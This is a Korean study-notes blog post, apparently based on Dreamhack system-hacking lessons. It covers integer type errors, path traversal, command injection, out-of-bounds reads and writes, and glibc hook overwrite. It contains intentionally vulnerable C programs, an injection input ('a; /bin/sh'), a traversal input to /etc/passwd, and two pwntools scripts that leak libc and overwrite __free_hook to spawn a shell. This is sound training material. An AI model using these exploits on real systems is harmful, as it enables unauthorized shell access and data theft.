컴파일러는 변수의 자료형을 참고하여 변수에 관한 코드를 생성한다.

한 번 정의된 변수의 자료형은 바꿀 수 없다. 1바이트 크기의 변수에 1을 더하다가 그 값이 0xff를 넘어서게 되면, 0x100이 되는 것이 아니라 0x00이 된다. 이런 현상을 데이터가 넘쳐서 유실됐다고 하여 overflow라고 부른다.

마찬가지로 변수의 크기보다 큰 값을 대입하려 할 때도 데이터가 유실될 수 있다. 예를 들어 4바이트 크기의 변수에 0x0123456789abcdef를 대입하면 하위 4바이트인 0x89abcdef만 저장되고 나머지 값은 모두 버려진다.


1. 자료형

자료형 크기 범위 용도
(signed) char 1바이트   정수, 문자
unsigned char      
(signed) short (int) 2바이트   정수
unsigned short (int)      
(signed) int 4바이트   정수
unsigned int      
size_t 32bit: 4바이트
64bit: 8바이트
생략 부호 없는 정수
(signed) long 32bit: 4바이트
64bit: 8바이트
정수  
unsigned long      
(signed) long long 32bit: 8바이트
64bit: 8바이트
정수  
unsigned long long      
float 4바이트 실수  
double 8바이트 실수  
Type * 32bit: 4바이트
64bit: 8바이트
주소  

type error: 변수를 선언할 때 변수를 활용하는 동안 담게 될 값의 크기, 용도, 부호 여부 등을 고려 없이 부적절하게 사용했을 때 발생

ex) type.c

//Name: type.c
//Compile: gcc -o type type.c

#include <stdio.h>

T factorial(unsigned int n) {
  T res = 1;

  for (int i = 1; i <= n; i++) {
    res *= i;
  }

  return res;
}

int main() {
  unsigned int n;

  printf("Input integer n: ");
  scanf("%d", &n);

  if (n >= 50) {
    fprintf(stderr, "Input is too large");
    return -1;
  }

  printf("Factorial of N: %llu\n", factorial(n));
}

T는 unsigned long long 


2. out of range: 데이터 유실

// Name: out_of_range.c
// Compile: gcc -o out_of_range out_of_range.c

#include <stdio.h>

unsigned long long factorial(unsigned int n) {
  unsigned long long res = 1;

  for (int i = 1; i <= n; i++) {
    res *= i;
  }

  return res;
}

int main() {
  unsigned int n;
  unsigned int res;

  printf("Input integer n: ");
  scanf("%d", &n);

  if (n >= 50) {
    fprintf(stderr, "Input is too large");
    return -1;
  }

  res = factorial(n);
  printf("Factorial of N: %u\n", res);
}

-> 18에서 값이 작아짐

$ ./out_of_range
Input integer n: 17
Factorial of N: 4006445056
$ ./out_of_range
Input integer n: 18
Factorial of N: 3396534272

18! = 0x 16 be ec ca 73 00 00 인데 이를 4바이트 unsigned int에 대입하면 상위 4바이트는 버려지고 하위 4바이트만 옮겨짐.  

따라서 데이터가 유실된다.

부호 반전과 값의 왜곡

oor_signflip은 앞의 예제에서 main 함수의 변수 n의 자료형이 int로 바뀜 이는 음수를 입력하면 23번 줄의 검사를 우회

// Name: oor_signflip.c
// Compile: gcc -o oor_signflip oor_signflip.c

#include <stdio.h>

unsigned long long factorial(unsigned int n) {
  unsigned long long res = 1;

  for (int i = 1; i <= n; i++) {
    res *= i;
  }

  return res;
}

int main() {
  int n;
  unsigned int res;

  printf("Input integer n: ");
  scanf("%d", &n);

  if (n >= 50) {
    fprintf(stderr, "Input is too large");
    return -1;
  }

  res = factorial(n);
  printf("Factorial of N: %u\n", res);
}
$ ./oor_signflip
Input integer n: -1

n 에 저장되는 값은 0xffffffff이다. 그런데 factorial의 함수는 unsigned int n 을 인자로 받으므로 이 값은 부호없는 정수로 전달됨.

따라서 큰 수가 전달되어 연산이 늦어짐. 양수로만 쓰려면 unsigned 필수

버퍼 오버플로우

oor_bof는 잘못된 자료형의 사용이 sbo 유발.

size가 int형이므로 음수 전달 -> 매우 큰 수

// Name: oor_bof.c
// Compile: gcc -o oor_bof oor_bof.c -m32

#include <stdio.h>

#define BUF_SIZE 32

int main() {
  char buf[BUF_SIZE];
  int size;
  
  printf("Input length: ");
  scanf("%d", &size);
  
  if (size > BUF_SIZE) {
    fprintf(stderr, "Buffer Overflow Detected");
    return -1;
  }
  
  read(0, buf, size);
  return 0;
}

read함수에서 원래 ssize_t read(int fd, void *buf, size_t count);인데 세번째인자는 size_t 부호없는 형, 음수 전달하면 큰 수로 해석

타입 오버플로우와 언더플로우

변수의 값이 연산 중에 자료형의 범위를 벗어나면 갑자기 크기가 커지거나 작아짐

// Name: integer_example.c
// Compile: gcc -o integer_example integer_example.c

#include <limits.h>
#include <stdio.h>

int main() {
  unsigned int a = UINT_MAX + 1;
  int b = INT_MAX + 1;

  unsigned int c = 0 - 1;
  int d = INT_MIN - 1;

  printf("%u\n", a);
  printf("%d\n", b);

  printf("%u\n", c);
  printf("%d\n", d);
  return 0;
}
$ ./integer_example
0
-2147483648
4294967295
2147483647

integer overflow & bof

integer -> heap bof

// Name: integer_overflow.c
// Compile: gcc -o integer_overflow integer_overflow.c -m32

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
  unsigned int size;
  scanf("%u", &size);
  
  char *buf = (char *)malloc(size + 1);
  unsigned int read_size = read(0, buf, size);
  
  buf[read_size] = 0;
  return 0;
}

size에 u int 최대값 입력하면 size+1 = 0이 됨

이를 malloc에 전달하면 최소 할당 크기인 32바이트만큼 청크를 할당해줌

반면 read는 size값을 그대로 사용함 -> 32바이트 크기의 청크에  4294967295만큼 값을 쓸 수 있게됨 bof발생

리눅스 프로그램은 파일 시스템에 접근하여 어떤 파일의 데이터를 읽거나, 파일에 데이터를 쓸 수 있다.

ex) 기본 유틸리티인 cat으로 파일의 데이터를 출력하게 되면, cat은 파일을 열고, 읽은 다음에 stdout에 데이터를 출력한다.

 

path traversal은 사용자가 허용되지 않은 경로에 접근할 수 있는 취약점을 말한다.

사용자가 접근하려는 경로에 대한 검사가 미흡하여 발생하며, 임의 파일 읽기 및 쓰기의 수단으로 활용될 수 있다.

 

1. 리눅스 경로

1) 절대 경로와 상대 경로

파일 경로를 지정하는 두 가지 방법: 절대 경로(Absolute Path) / 상대 경로(Relative Patth)

절대 경로는 루트 디렉토리부터 파일에 이를 때까지 거쳐야 하는 디렉토리 명을 모드 연결함

상대경로는 .. 이전 / . 현재 이를 이용하여 상대경로 구성

 

2) 예시

 path traversal은 권한 없는 경로에 프로세스가 접근할 수 있는 취약점, 권한은 리눅스 파일 시스템에서의 권한이 아니라 서비스 로직 관점에서의 권한을 의미

// Name: path_traversal.c
// Compile: gcc -o path_traversal path_traversal.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const int kMaxNameLen = 0x100;
const int kMaxPathLen = 0x200;
const int kMaxDataLen = 0x1000;
const char *kBasepath = "/tmp";

int main() {
  char file_name[kMaxNameLen];
  char file_path[kMaxPathLen];
  char data[kMaxDataLen];
  FILE *fp = NULL;

  // Initialize local variables
  memset(file_name, '\0', kMaxNameLen);
  memset(file_path, '\0', kMaxPathLen);
  memset(data, '\0', kMaxDataLen);

  // Receive input from user
  printf("File name: ");
  fgets(file_name, kMaxNameLen, stdin);

  // Trim trailing new line
  file_name[strcspn(file_name, "\n")] = '\0';

  // Construct the `file_path`
  snprintf(file_path, kMaxPathLen, "%s/%s", kBasepath, file_name);

  // Read the file and print its content
  if ((fp = fopen(file_path, "r")) == NULL) {
    fprintf(stderr, "No file named %s", file_name);
    return -1;
  }

  fgets(data, kMaxDataLen, fp);
  printf("%s", data);

  fclose(fp);

  return 0;
}

입력이 ../etc/passwd이면  root의 비밀번호를 제거하거나, ssh의 설정을 변경하는 드 ㅇ서버에 위협이 되느 행위를 할 수도 있

명령어를 실행하주는 함수를 잘못 사용하여 발생 ex) system,,,

command injeciton

명령어를 실행하는 함수에 사용자가 임의의 인자를 전달할 수 있을 때 발생

system("ping [user-input]")이 있으면 user-input에 a; /bin/sh를 전달하면 셸 획득

// Name: cmdi.c
// Compile: gcc -o cmdi cmdi.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const int kMaxIpLen = 36;
const int kMaxCmdLen = 256;

int main() {
  char ip[kMaxIpLen];
  char cmd[kMaxCmdLen];

  // Initialize local vars
  memset(ip, '\0', kMaxIpLen);
  memset(cmd, '\0', kMaxCmdLen);
  strcpy(cmd, "ping -c 2 ");

  // Input IP
  printf("Health Check\n");
  printf("IP: ");
  fgets(ip, kMaxIpLen, stdin);

  // Construct command
  strncat(cmd, ip, kMaxCmdLen);
  printf("Execute: %s\n",cmd);

  // Do health-check
  system(cmd);

  return 0;
}

 

c언어는 배열의 경계를 체크 안함 -> out of bounds(OOB)

배열의 속성

배열은 연속된 메모리 공간을 점유하며, 배열이 점유하는 공간의 크기는 요소의 개수와 요소 자료형의 크기를 곱한 값

배열 요소의 개수를 배열의 길이라고도 부름

OUT OF BOUNDS

OOB는 요소를 참조할 때, 인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생

EX) 예제 코드

// Name: oob.c
// Compile: gcc -o oob oob.c

#include <stdio.h>

int main() {
  int arr[10];

  printf("In Bound: \n");
  printf("arr: %p\n", arr);
  printf("arr[0]: %p\n\n", &arr[0]);

  printf("Out of Bounds: \n");
  printf("arr[-1]: %p\n", &arr[-1]);
  printf("arr[100]: %p\n", &arr[100]);

  return 0;
}
$ gcc -o oob oob.c
$ ./oob
In Bound:
arr: 0x7ffebc778b00
arr[0]: 0x7ffebc778b00

Out of Bounds:
arr[-1]: 0x7ffebc778afc
arr[100]: 0x7ffebc778c90

 

 

임의 주소 읽기

읽으려는 변수와 배열의 오프셋을 알아야 함

배열과 변수가 같은 세그먼트에 할당되어 있다면, 둘 사이의 오프셋은 항상 일정하므로 디버깅으로 알아낸다.

만약 다른 세그먼트라면 다른 취약점을 통해 두 변수의 주소를 구하고 차이를 계산해야한다.

// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char secret[256];

int read_secret() {
  FILE *fp;

  if ((fp = fopen("secret.txt", "r")) == NULL) {
    fprintf(stderr, "`secret.txt` does not exist");
    return -1;
  }

  fgets(secret, sizeof(secret), fp);
  fclose(fp);

  return 0;
}

int main() {
  char *docs[] = {"COMPANY INFORMATION", "MEMBER LIST", "MEMBER SALARY",
                  "COMMUNITY"};
  char *secret_code = secret;
  int idx;

  // Read the secret file
  if (read_secret() != 0) {
    exit(-1);
  }

  // Exploit OOB to print the secret
  puts("What do you want to read?");
  for (int i = 0; i < 4; i++) {
    printf("%d. %s\n", i + 1, docs[i]);
  }
  printf("> ");
  scanf("%d", &idx);

  if (idx > 4) {
    printf("Detect out-of-bounds");
    exit(-1);
  }

  puts(docs[idx - 1]);
  return 0;
}
$ echo "THIS IS SECRET" > ./secret.txt
$ ./oob_read
What do you want to read?
1. COMPANY INFORMATION
2. MEMBER LIST
3. MEMBER SALARY
4. COMMUNITY
> 0
THIS IS SECRET

 

임의 주소 쓰기

// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c

#include <stdio.h>
#include <stdlib.h>

struct Student {
  long attending;
  char *name;
  long age;
};

struct Student stu[10];
int isAdmin;

int main() {
  unsigned int idx;

  // Exploit OOB to read the secret
  puts("Who is present?");
  printf("(1-10)> ");
  scanf("%u", &idx);

  stu[idx - 1].attending = 1;

  if (isAdmin) printf("Access granted.\n");
  return 0;
}

인덱스 범위 검사 없음

ISADMIN 조작하면 가능

pwndbg> i var isAdmin
Non-debugging symbols:
0x0000000000201130  isAdmin
pwndbg> i var stu
Non-debugging symbols:
0x0000000000201040  stu
pwndbg> print 0x201130-0x201040
$1 = 240
$ ./oob_write
Who is present?
(1-10)> 11
Access granted.

Hooking: 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚어채어 다른 코드가 실행되게 하는 것

Hook: 이때 실행되는 코드

ex) 함수에 훅을 심어서 함수의 호출을 모니터링 / 함수에 기능 추가 / 아예 다른 코드를 심어서 실행 흐름 변조

 

ex) malloc, free에 훅을 설치하면 소프트웨어에서 할당하고 해제하는 메모리를 모니터링할 수 있음

이를 응용하면 모든 함수의 도입 부분에 모니터링 함수를 훅으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 traking할 수도 있음

이러한 모니터링 기능은 해커에 의해 악용될 수도 있음. 해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면, 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능함. 

 

1) hook overwrite

: malloc, free를 호출할 때 함께 호출되는 훅이 함수 포인터 형태로 존재, 이 함수 포인터를 임의의 함수 주소로 오버라이트하여 악의적인 코드를 실행

full relro가 적용되어도 libc의 데이터 영역에는 쓰기가 가능하므로  full relro를 우회하는 기법임

2) one-gadget

: libc에 존재하는 가젯인 원가젯, 기존에는 셸을 실행하려면 여러 개의 가젯을 조합하여 ROP chain을 구성했지만 원가젯은 단일 가젯만으로도 셸을 실행할 수 있는 매우 강력한 가젯임. 하지만 원가젯은 Glibc 버전마다 다르게 존재하며, 사용하기 위한 제약 조건도 모두 다름. 일반적으로 glibc 버전이 높아질수록 제약 조건을 만족하기 어려움

 

- 메모리 함수 훅

malloc, free, realloc hook: libc.so에 구현되어 있으며 안에는 각각 hook이라는 훅 변수를 사용함

훅의 위치는 libc.sso/bss 및 data 섹션에 포함됨 -> 쓰기 가능

훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주므로 __malloc_hook을 system함수의 주소로 덮고 malloc("/bin/sh")을 호출하여 셸을 획득하는 등의 공격이 가능함

 

- proof-of-concept

// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c

#include <malloc.h>
#include <stdlib.h>
#include <string.h>

const char *buf="/bin/sh";

int main() {
  printf("\"__free_hook\" now points at \"system\"\n");
  __free_hook = (void *)system;
  printf("call free(\"/bin/sh\")\n");
  free(buf);
}

-> __free_hook을 system함수로 덮고 셸 탈취

$ ./fho-poc
"__free_hook" now points at "system"
call free("/bin/sh")
$ echo "This is Hook Overwrite!"
This is Hook Overwrite!

-> 컴파일 후 실행

-> glibc 2.34버전부터 제거

 

free hook overwrite

fho 실습

 


one_gadget

원 가젯(one gadget) 또는 magic_gadget은 실행하면 셸이 획득되는 코드 뭉치를 말한다. 기존에는 셸을 획득하기 위해 여러 개의 가젯을 조합하여 rop chain을 구성하거나 ReturnToLibrary 공격을 수행했지만, 원 가젯은 단일 가젯만으로 셸을 실행할 수 있는 강력한 가젯이다.

https://github.com/david942j/one_gadget

 

GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6

The best tool for finding one gadget RCE in libc.so.6 - david942j/one_gadget

github.com

원 가젯은 함수에 인자를 전달하기 어려울 때 유용하게 활용할 수 있다.

ex) __malloc_hook을 임의의 값으로 오버라이트할 수있지만, malloc의 인자에 작은 정수 밖에 입력할 수 없는 상황이라면 "/bin/sh" 문자열 주소를 인자로 전달하기가 매우 어렵다. 이럴 때 제약 조건을 만족하는 원 가젯이 존재한다면 이를 호출하여 셸을 획득할 수 있다.

$ one_gadget ./libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
#!/usr/bin/env python3
# Name: fho_og.py

from pwn import *

p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
free_hook = libc_base + libc.symbols['__free_hook']
og = libc_base+0x4f432

slog('libc_base', libc_base)
slog('free_hook', free_hook)
slog('one-gadget', og)

# [2] Overwrite `free_hook` with `og`, one-gadget address
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(og).encode())

# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(0x31337).encode())

p.interactive()
#!/usr/bin/env python3
# Name: fho.py

from pwn import *

p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))

slog('libc_base', libc_base)
slog('system', system)
slog('free_hook', free_hook)
slog('/bin/sh', binsh)

# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())

# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())

p.interactive()

'system hacking > theory' 카테고리의 다른 글

[Dreamhack] Unit 16. Type Error  (0) 2026.05.19
[Dreamhack] Unit 15. Path Traversal  (0) 2026.05.17
[Dreamhack] Unit 14. Command Injection  (0) 2026.05.17
[Dreamhack] Unit 13. Out of Bounds  (0) 2026.05.17

+ Recent posts